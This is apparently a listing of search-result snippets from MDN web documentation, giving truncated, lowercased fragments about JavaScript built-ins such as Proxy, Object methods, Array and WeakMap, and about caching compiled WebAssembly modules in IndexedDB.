r: illegal character // <37e> is not ; but looks like this this should work: "this is actually a string"; 42 - 13; var foo = 'bar'; some editors and ides will notify you or at least use a slightly different highlighting for it, but not all.
ReferenceError: assignment to undeclared variable "x" - JavaScript
e constrained in the execution context in which they are declared.
Array.prototype.copyWithin() - JavaScript
n + relativeend, 0) : math.min(relativeend, len); // step 15.
Array.prototype.findIndex() - JavaScript
ed is used.
Array.prototype.length - JavaScript
also relationship between length and numerical properties.
Array - JavaScript
ts)) // ['0', '1', '2', '5'] console.log(fruits.length) // 6 increasing the length.
Function.prototype.bind() - JavaScript
at(), function.prototype.call() and function.prototype.apply(), built-in methods to have their original values.
Object.create() - JavaScript
ion code // in the constructor function, // the object.create() cannot reflect it // create a new object whose prototype is a new, empty // object and add a single property 'p', with value 42.
Object.defineProperties() - JavaScript
values are objects describing those properties.
Object.getOwnPropertyDescriptor() - JavaScript
y be changed (data descriptors only).
Object.getOwnPropertyDescriptors() - JavaScript
y be changed (data descriptors only).
Object.isFrozen() - JavaScript
property is also extensible, // ergo not frozen.
Object.preventExtensions() - JavaScript
e non-extensible.
Proxy.revocable() - JavaScript
in revoked and can be garbage collected.
Proxy - JavaScript
zilla.org/docs/dom/document.cookie#a_little_framework.3a_a_complete_cookies_reader.2fwriter_with_full_unicode_support */ var doccookies = new proxy(doccookies, { get: function (otarget, skey) { return otarget[skey] || otarget.getitem(skey) || undefined; }, set: function (otarget, skey, vvalue) { if (skey in otarget) { return false; } return otarget.setitem(skey, vvalue); }, deleteproperty: function (otarget, skey) { if (skey in otarget) { return false; } return otarget.removeitem(skey); }, enumerate: function (otarget, skey) { return otarget.keys(); }, ownkeys: function (otarget, skey) { return otarget.keys(); }, has: function (otarget, skey) { return skey in otarget || otarget.hasitem(skey); }, defineproperty: function (otarget, skey, o...
String - JavaScript
access there are two ways to access an individual character in a string.
WeakMap() constructor - JavaScript
efined); wm2.set(wm1, wm2); // keys and values can be any objects.
WeakSet() constructor - JavaScript
jects that store weakly held objects in a collection.
Lexical grammar - JavaScript
.
Exponentiation (**) - JavaScript
tion operator (**), the exponentiation operator is defined to have a higher precedence than unary operators, such as unary + and unary -, but there are a few exceptions.
JavaScript reference - JavaScript
bugger import label with expressions and operators javascript expressions and operators.
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
.
Caching compiled WebAssembly modules - WebAssembly
dexeddb.open(dbname, dbversion); request.onerror = reject.bind(null, 'error opening wasm cache database'); request.onsuccess = () => { resolve(request.result) }; request.onupgradeneeded = event => { var db = request.result; if (db.objectstorenames.contains(storename)) { console.log(`clearing out version ${event.oldversion} wasm cache`); db.deleteobjectstore(storename); } console.log(`creating version ${event.newversion} wasm cache`); db.createobjectstore(storename) }; }); } looking up modules in the database our next function — lookupindatabase() — provides a simple promise-based operation for looking up the given url in the object store we created above.
Compiling from Rust to WebAssembly - WebAssembly
the file that we use to configure our build.